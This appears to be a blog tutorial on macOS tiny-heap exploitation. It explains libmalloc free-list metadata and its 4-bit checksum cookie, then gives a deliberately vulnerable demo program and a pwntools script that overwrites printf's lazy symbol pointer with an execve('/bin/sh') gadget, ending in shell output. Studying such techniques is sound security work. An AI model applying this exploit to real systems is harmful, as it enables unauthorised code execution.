<-- home

OSX Heap Exploitation

Hello, I’m noob.

This paper focuses on tiny size exploit in macOS.

How to debug?

Debugging in an OSX environment will require using lldb. (fucking)

Therefore i’ll introduce some useful tools, commands and tips for debugging.

Useful tools

  • lldbinit - can use some gdb command.
    • URL : https://github.com/gdbinit/lldbinit
    • x/32i, x/32gx, cotext, and so on.

Command (need update)

image list
  • gdb’s vmmap
  • Show the map list
  • shortcuts : im list
memory read [start] [end]
  • e.g. memory read 0x0 0x10
  • gdb’s x/16x 0x0
  • Show the memory value
  • shortcuts : mem re 0x0 0x10

Tip

disable OSX Core dump
  • Core file is very very very big size file. It is located to /cores.
  • Comnand : sudo sysctl -w kern.coredump=0

malloc

Type Definition

_malloc_zone_t : include/malloc/malloc.h
typedef struct _malloc_zone_t {
    /* Only zone implementors should depend on the layout of this structure;
    Regular callers should use the access functions below */
    void	*reserved1;	/* RESERVED FOR CFAllocator DO NOT USE */
    void	*reserved2;	/* RESERVED FOR CFAllocator DO NOT USE */
    size_t 	(* MALLOC_ZONE_FN_PTR(size))(struct _malloc_zone_t *zone, const void *ptr); /* returns the size of a block or 0 if not in this zone; must be fast, especially for negative answers */
    void 	*(* MALLOC_ZONE_FN_PTR(malloc))(struct _malloc_zone_t *zone, size_t size);
    void 	*(* MALLOC_ZONE_FN_PTR(calloc))(struct _malloc_zone_t *zone, size_t num_items, size_t size); /* same as malloc, but block returned is set to zero */
    void 	*(* MALLOC_ZONE_FN_PTR(valloc))(struct _malloc_zone_t *zone, size_t size); /* same as malloc, but block returned is set to zero and is guaranteed to be page aligned */
    void 	(* MALLOC_ZONE_FN_PTR(free))(struct _malloc_zone_t *zone, void *ptr);
    void 	*(* MALLOC_ZONE_FN_PTR(realloc))(struct _malloc_zone_t *zone, void *ptr, size_t size);
    void 	(* MALLOC_ZONE_FN_PTR(destroy))(struct _malloc_zone_t *zone); /* zone is destroyed and all memory reclaimed */
    const char	*zone_name;

    /* Optional batch callbacks; these may be NULL */
    unsigned	(* MALLOC_ZONE_FN_PTR(batch_malloc))(struct _malloc_zone_t *zone, size_t size, void **results, unsigned num_requested); /* given a size, returns pointers capable of holding that size; returns the number of pointers allocated (maybe 0 or less than num_requested) */
    void	(* MALLOC_ZONE_FN_PTR(batch_free))(struct _malloc_zone_t *zone, void **to_be_freed, unsigned num_to_be_freed); /* frees all the pointers in to_be_freed; note that to_be_freed may be overwritten during the process */

    struct malloc_introspection_t	* MALLOC_INTROSPECT_TBL_PTR(introspect);
    unsigned	version;
    	
    /* aligned memory allocation. The callback may be NULL. Present in version >= 5. */
    void *(* MALLOC_ZONE_FN_PTR(memalign))(struct _malloc_zone_t *zone, size_t alignment, size_t size);
    
    /* free a pointer known to be in zone and known to have the given size. The callback may be NULL. Present in version >= 6.*/
    void (* MALLOC_ZONE_FN_PTR(free_definite_size))(struct _malloc_zone_t *zone, void *ptr, size_t size);

    /* Empty out caches in the face of memory pressure. The callback may be NULL. Present in version >= 8. */
    size_t 	(* MALLOC_ZONE_FN_PTR(pressure_relief))(struct _malloc_zone_t *zone, size_t goal);

	/*
	 * Checks whether an address might belong to the zone. May be NULL. Present in version >= 10.
	 * False positives are allowed (e.g. the pointer was freed, or it's in zone space that has
	 * not yet been allocated. False negatives are not allowed.
	 */
    boolean_t (* MALLOC_ZONE_FN_PTR(claimed_address))(struct _malloc_zone_t *zone, void *ptr);
} malloc_zone_t;

malloc_introspection_t : include/malloc/malloc.h
typedef struct malloc_introspection_t {
	kern_return_t (* MALLOC_INTROSPECT_FN_PTR(enumerator))(task_t task, void *, unsigned type_mask, vm_address_t zone_address, memory_reader_t reader, vm_range_recorder_t recorder); /* enumerates all the malloc pointers in use */
	size_t	(* MALLOC_INTROSPECT_FN_PTR(good_size))(malloc_zone_t *zone, size_t size);
	boolean_t 	(* MALLOC_INTROSPECT_FN_PTR(check))(malloc_zone_t *zone); /* Consistency checker */
	void 	(* MALLOC_INTROSPECT_FN_PTR(print))(malloc_zone_t *zone, boolean_t verbose); /* Prints zone  */
	void	(* MALLOC_INTROSPECT_FN_PTR(log))(malloc_zone_t *zone, void *address); /* Enables logging of activity */
	void	(* MALLOC_INTROSPECT_FN_PTR(force_lock))(malloc_zone_t *zone); /* Forces locking zone */
	void	(* MALLOC_INTROSPECT_FN_PTR(force_unlock))(malloc_zone_t *zone); /* Forces unlocking zone */
	void	(* MALLOC_INTROSPECT_FN_PTR(statistics))(malloc_zone_t *zone, malloc_statistics_t *stats); /* Fills statistics */
	boolean_t   (* MALLOC_INTROSPECT_FN_PTR(zone_locked))(malloc_zone_t *zone); /* Are any zone locks held */

    /* Discharge checking. Present in version >= 7. */
	boolean_t	(* MALLOC_INTROSPECT_FN_PTR(enable_discharge_checking))(malloc_zone_t *zone);
	void	(* MALLOC_INTROSPECT_FN_PTR(disable_discharge_checking))(malloc_zone_t *zone);
	void	(* MALLOC_INTROSPECT_FN_PTR(discharge))(malloc_zone_t *zone, void *memory);
#ifdef __BLOCKS__
	void     (* MALLOC_INTROSPECT_FN_PTR(enumerate_discharged_pointers))(malloc_zone_t *zone, void (^report_discharged)(void *memory, void *info));
	#else
    void	*enumerate_unavailable_without_blocks;   
#endif /* __BLOCKS__ */
	void	(* MALLOC_INTROSPECT_FN_PTR(reinit_lock))(malloc_zone_t *zone); /* Reinitialize zone locks, called only from atfork_child handler. Present in version >= 9. */
} malloc_introspection_t;

environment for malloc

  • MallocGuardEdges : True/False
  • MallocStackLogging : lite/malloc/vm/vmlite
  • MallocStackLoggingNoCompact
  • MallocScribble : True/False
  • MallocErrorAbort : True/False
  • MallocTracing : True/False
  • MallocCorruptionAbort : True/False (only 64bit processor)
  • MallocCheckHeapStart : -1,0,integer
  • MallocCheckHeapEach : -1,0,integer
  • MallocCheckHeapAbort : True/False
  • MallocCheckHeapSleep : Integer
  • MallocMaxMagazines : Integer
  • MallocRecircRetainedRegions : Positive Integer
  • MallocHelp : True/False

malloc_zone

malloc_zone has R permission.

But, it has R/W permission during _malloc_initialize, malloc_zone_unregister,malloc_set_zone_name.(can rc? maybe not.)

In general, initialize is execute only one time. Then malloc_set_zone_name and malloc_zone_unregister are? I dont know :fearful:

Here is source code about permission :

static void
_malloc_initialize(void *context __unused)
{
    ...
    if (n != 0) { // make the default first, for efficiency
		unsigned protect_size = malloc_num_zones_allocated * sizeof(malloc_zone_t *);
		malloc_zone_t *hold = malloc_zones[0];

		if (hold->zone_name && strcmp(hold->zone_name, DEFAULT_MALLOC_ZONE_STRING) == 0) {
			malloc_set_zone_name(hold, NULL);
		}

		mprotect(malloc_zones, protect_size, PROT_READ | PROT_WRITE);
		malloc_zones[0] = malloc_zones[n];
		malloc_zones[n] = hold;
		mprotect(malloc_zones, protect_size, PROT_READ);
	}
    ...
}

malloc size

In ptmalloc2, malloc consists of fastbin, smallbin, largebin, unsorted depending on size.

OSX consists of Tiny, Small, Large depending on size.

  • Tiny
    • 1008 bytes > size (in 64bits)
    • 496 bytes > size (in 32bits)
  • Small
    • 15KB > size > Tiny (in less than 1gb memory)
    • 127KB > size > Tiny (else)
  • Large
    • size > Small

tiny malloc

If exist freelist, then it returns at freelist from tiny_malloc_from_free_list.

void *
tiny_malloc_from_free_list(rack_t *rack, magazine_t *tiny_mag_ptr, mag_index_t mag_index, msize_t msize)
{
	tiny_free_list_t *ptr;
	msize_t this_msize;
	grain_t slot = msize - 1;
	free_list_t *free_list = tiny_mag_ptr->mag_free_list;
	free_list_t *the_slot = free_list + slot;
	tiny_free_list_t *next;
	free_list_t *limit;
#if defined(__LP64__)
	uint64_t bitmap;
#else
	uint32_t bitmap;
#endif
	msize_t leftover_msize;
	tiny_free_list_t *leftover_ptr;

	... ...
    
	// Look for an exact match by checking the freelist for this msize.
	//
	ptr = the_slot->p;
	if (ptr) {
		next = free_list_unchecksum_ptr(rack, &ptr->next);
		if (next) {
			next->previous = ptr->previous;
		} else {
			BITMAPV_CLR(tiny_mag_ptr->mag_bitmap, slot);
		}
		the_slot->p = next;
		this_msize = msize;
#if DEBUG_MALLOC
		if (LOG(szone, ptr)) {
			malloc_report(ASL_LEVEL_INFO, "in tiny_malloc_from_free_list(), exact match ptr=%p, this_msize=%d\n", ptr, this_msize);
		}
#endif
		goto return_tiny_alloc;
	}
    ...
}

OSX malloc exist only one security check logic. checksum is checked by free_list_unchecksum_ptr.

static INLINE void *
free_list_unchecksum_ptr(szone_t *szone, ptr_union *ptr)
{
    ptr_union p;
    p.u = (ptr->u >> 4) << 4;
    
    if ((ptr->u & (uintptr_t)0xF) != free_list_gen_checksum(p.u ^ szone->cookie))
    {
      free_list_checksum_botch(szone, (free_list_t *)ptr);
      return NULL;
    }
    return p.p;
}

Fortunately it consists of 4bit, so we try to 4bits brute force.

Next, we just chaining next->previous = ptr->previous like unlink in ptmalloc2.

Before chaining, we should know how to create metadata when free tiny heap.

It is similar to ptmalloc2’s smallbin and largebin.

Test Code :

#include <stdio.h>

int main(){
    int *ptr1 = malloc(0x40);
    int *ptr2 = malloc(0x40);
    int *ptr3 = malloc(0x40);
    int *ptr4 = malloc(0x40);
    int *ptr5 = malloc(0x40);
    int *ptr6 = malloc(0x40);
    
    free(ptr1); // Break1
    free(ptr3); // Break2
    free(ptr5); // Break3
    
    int *ptr7 = malloc(0x40);
    int *ptr8 = malloc(0x40);
    int *ptr9 = malloc(0x40);
}

Break1 free(ptr1) : It doesn’t have metadata.

(lldbinit) x/32gx 0x7f99a6c02b40
0x7f99a6c02b40: 0x0000000000000000 0x0000000000000000 <-- ptr1
0x7f99a6c02b50: 0x0000000000000000 0x0000000000000000
0x7f99a6c02b60: 0x0000000000000000 0x0000000000000000
0x7f99a6c02b70: 0x0000000000000000 0x0000000000000000
0x7f99a6c02b80: 0x0000000000000000 0x0000000000000000 <-- ptr2
0x7f99a6c02b90: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ba0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bb0: 0x0000000000000000 0x0000000000000000 
0x7f99a6c02bc0: 0x0000000000000000 0x0000000000000000 <-- ptr3
0x7f99a6c02bd0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02be0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bf0: 0x0000000000000000 0x0000000000000000 
0x7f99a6c02c00: 0x0000000000000000 0x0000000000000000 <-- ptr4
0x7f99a6c02c10: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c20: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c30: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c40: 0x0000000000000000 0x0000000000000000 <-- ptr5
0x7f99a6c02c50: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c60: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c70: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c80: 0x0000000000000000 0x0000000000000000 <-- ptr6
0x7f99a6c02c90: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ca0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cb0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cc0: 0x0000000000000000 0x0000000000000000 <-- pyt7
0x7f99a6c02cd0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ce0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cf0: 0x0000000000000000 0x0000000000000000

Break2 free(ptr3) : create metadata in ptr1.

(lldbinit) x/32gx 0x7f99a6c02b40
0x7f99a6c02b40: 0xf000000000000000 0xf000000000000000 <-- ptr1
0x7f99a6c02b50: 0x0000000000000004 0x0000000000000000
0x7f99a6c02b60: 0x0000000000000000 0x0000000000000000
0x7f99a6c02b70: 0x0000000000000000 0x0004000000000000
0x7f99a6c02b80: 0x0000000000000000 0x0000000000000000 <-- ptr2
0x7f99a6c02b90: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ba0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bb0: 0x0000000000000000 0x0000000000000000 
0x7f99a6c02bc0: 0x0000000000000000 0x0000000000000000 <-- ptr3
0x7f99a6c02bd0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02be0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bf0: 0x0000000000000000 0x0000000000000000 
0x7f99a6c02c00: 0x0000000000000000 0x0000000000000000 <-- ptr4
0x7f99a6c02c10: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c20: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c30: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c40: 0x0000000000000000 0x0000000000000000 <-- ptr5
0x7f99a6c02c50: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c60: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c70: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c80: 0x0000000000000000 0x0000000000000000 <-- ptr6
0x7f99a6c02c90: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ca0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cb0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cc0: 0x0000000000000000 0x0000000000000000 <-- pyt7
0x7f99a6c02cd0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ce0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cf0: 0x0000000000000000 0x0000000000000000

The 8 byte of ptr1 is 0xf, which is cookie.

If you try to malloc at ptr1, check if cookie is a valid value in tiny_malloc_from_free_list

OSX Heap’s metadata is stored as original value >> 4.

And, ptr1’s size is 0x40 from 0x7f99a6c02b50 (0x04«4).

Break3 free(ptr5) : update ptr1’s metadata, and create metadata in ptr3

(lldbinit) x/32gx 0x7f99a6c02b40
0x7f99a6c02b40: 0xe00007f99a6c02bc 0xf000000000000000 <-- ptr1
0x7f99a6c02b50: 0x0000000000000004 0x0000000000000000
0x7f99a6c02b60: 0x0000000000000000 0x0000000000000000
0x7f99a6c02b70: 0x0000000000000000 0x0004000000000000
0x7f99a6c02b80: 0x0000000000000000 0x0000000000000000 <-- ptr2
0x7f99a6c02b90: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ba0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bb0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bc0: 0xf000000000000000 0xe00007f99a6c02b4 <-- ptr3
0x7f99a6c02bd0: 0x0000000000000004 0x0000000000000000
0x7f99a6c02be0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bf0: 0x0000000000000000 0x0004000000000000
0x7f99a6c02c00: 0x0000000000000000 0x0000000000000000 <-- ptr4
0x7f99a6c02c10: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c20: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c30: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c40: 0x0000000000000000 0x0000000000000000 <-- ptr5
0x7f99a6c02c50: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c60: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c70: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c80: 0x0000000000000000 0x0000000000000000 <-- ptr6
0x7f99a6c02c90: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ca0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cb0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cc0: 0x0000000000000000 0x0000000000000000 <-- pyt7
0x7f99a6c02cd0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ce0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cf0: 0x0000000000000000 0x0000000000000000

ptr1’s 8bytes are updated to 0xe00007f99a6c02bc. 0xe is cookie, and 0x7f99a6c02bc0 is prev_ptr (0x7f99a6c02bc<<4).

ptr3 have 0xf as cookie first 8bytes. 0xe is cookie, and 0x7f99a6c02b40 is next_ptr (0x7f99a6c02b4<<4).

and ptr7,ptr8,ptr9 is located by malloc to 0x7f99a6c02c40, 0x7f99a6c02bc0, 0x7f99a6c02b40.

Exploit

Exploit is very simple like unsafe unlink.

But, it have must 4bit brute force if you cannot leak.

Here is example code :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    int *ptr1 = malloc(0x40);
    int *ptr2 = malloc(0x40);
    int *ptr3 = malloc(0x40);
    int *ptr4 = malloc(0x40);
    int *ptr5 = malloc(0x40);
    int *ptr6 = malloc(0x40);
    free(ptr1);
    free(ptr3);
    free(ptr5);
    printf("[email protected]_c.dylib : %p\n",exit);
    printf("[email protected] : %p\n",main);
    write(1,ptr3,16);
    int *ptr7 = malloc(0x40);
    read(0,ptr3,0x20);
    int *ptr8 = malloc(0x40);
    printf("\n\nFinish\n");
    exit(0);
}

If you free the memory allocated to the tiny size, you can create a heap containing metadata, such as 0x7f99a6c02bc0: 0xf000000000000000 0xe00007f99a6c02b4.

If you malloc an address that exists in the freelist, you can overwrite the value of specific address by metadata.

if (next) {
    next->previous = ptr->previous; // <-- Here
}

To overwrite the value, you must know the address of target you want to overwrite.

First, the example provides the address of the main address and exit, so you only need to think about what to overwrite and how to overwrite it with offset.

I overwrite ‘printf’ to ‘oneshot Gadget’ to get shell.

You can find the offset of the printf in _lazy_symbol_ptr.

_lazy_symbol_ptr is similar to global offset table(got).

__la_symbol_ptr:0000000100001028 ; Segment type: Pure data
__la_symbol_ptr:0000000100001028 ; Segment alignment 'qword' can not be represented in assembly
__la_symbol_ptr:0000000100001028 __la_symbol_ptr segment para public 'DATA' use64
__la_symbol_ptr:0000000100001028                 assume cs:__la_symbol_ptr
__la_symbol_ptr:0000000100001028                 ;org 100001028h
__la_symbol_ptr:0000000100001028 ; void (__cdecl __noreturn *exit_ptr)(int)
__la_symbol_ptr:0000000100001028 _exit_ptr       dq offset __imp__exit   ; DATA XREF: _exit↑r
__la_symbol_ptr:0000000100001030 ; void (__cdecl *free_ptr)(void *)
__la_symbol_ptr:0000000100001030 _free_ptr       dq offset __imp__free   ; DATA XREF: _free↑r
__la_symbol_ptr:0000000100001038 ; void *(__cdecl *malloc_ptr)(size_t)
__la_symbol_ptr:0000000100001038 _malloc_ptr     dq offset __imp__malloc ; DATA XREF: _malloc↑r
__la_symbol_ptr:0000000100001040 ; int (*printf_ptr)(const char *, ...)
__la_symbol_ptr:0000000100001040 _printf_ptr     dq offset __imp__printf ; DATA XREF: _printf↑r
__la_symbol_ptr:0000000100001048 ; ssize_t (__cdecl *read_ptr)(int, void *, size_t)
__la_symbol_ptr:0000000100001048 _read_ptr       dq offset __imp__read   ; DATA XREF: _read↑r
__la_symbol_ptr:0000000100001050 ; int (__cdecl *setvbuf_ptr)(FILE *, char *, int, size_t)
__la_symbol_ptr:0000000100001050 _setvbuf_ptr    dq offset __imp__setvbuf
__la_symbol_ptr:0000000100001050                                         ; DATA XREF: _setvbuf↑r
__la_symbol_ptr:0000000100001058 ; ssize_t (__cdecl *write_ptr)(int, const void *, size_t)
__la_symbol_ptr:0000000100001058 _write_ptr      dq offset __imp__write  ; DATA XREF: _write↑r
__la_symbol_ptr:0000000100001058 __la_symbol_ptr ends
__la_symbol_ptr:0000000100001058

Oneshot gadget exists in libsystem_c.dyib, and it also gets offset.

__text:000000000002573B                 lea     rdi, aBinSh     ; "/bin/sh"
__text:0000000000025742                 mov     rsi, r14        ; char **
__text:0000000000025745                 mov     rdx, [rbp+var_450] ; char **
__text:000000000002574C                 call    _execve

Metadata must now be set as follows:

[Arbitrary Value] [Target Address]

In this case, metadata should be overwritten with [Oneshot address] [printf address].

Note that Target Address should use the printf address >> 4 value.

Also, the cookie value must be zero to enter the address of the oneshot gadget.

Based on this, the code is written as follows:

from pwn import *

for i in range(100):
    try:
        r = process('./a.out')
        exit = int(r.recvuntil('\n').split(' : ')[1].strip(),16)
        main = int(r.recvuntil('\n').split(' : ')[1].strip(),16)
        _lazy_printf = main - 0xD80 + 0x1040
        oneshot = exit - 0x5c67c + 0x000000000002573B 

        payload = ''
        payload += p64(oneshot)
        payload += p64(_lazy_printf >> 4)

        print payload.encode('hex')
        r.sendline(payload)
        r.interactive()
    except:
        r.close()

If cookie is not correct, an error occurs when Malloc as shown below.

ptr1 => 0x7ffcb6402b60
ptr3 => 0x7ffcb6402be0
ptr5 => 0x7ffcb6402c60
AAAAAAAAAAAAAAAAAAAAAA
ptr7 => 0x7ffcb6402c60
a.out(16738,0x1160565c0) malloc: Incorrect checksum for freed object 0x7ffcb6402be8: probably modified after being freed.
Corrupt value: 0x4141414141414141
a.out(16738,0x1160565c0) malloc: *** set a breakpoint in malloc_error_break to debug
Abort trap: 6

When the cookie is set \x00, printf is overwritten with an oneshot gadget and you can get shell.

[+] Starting local process './a.out': pid 22291
[*] Switching to interactive mode
$ pwd
/Users/shpik/study/osx_heap
$ id
uid=501(shpik) gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
$

Resource

https://opensource.apple.com/source/libmalloc/libmalloc-166.220.1/src/

https://www.synacktiv.com/ressources/Sthack_2018_Heapple_Pie.pdf

https://papers.put.as/papers/macosx/2016/Summercon-2016.pdf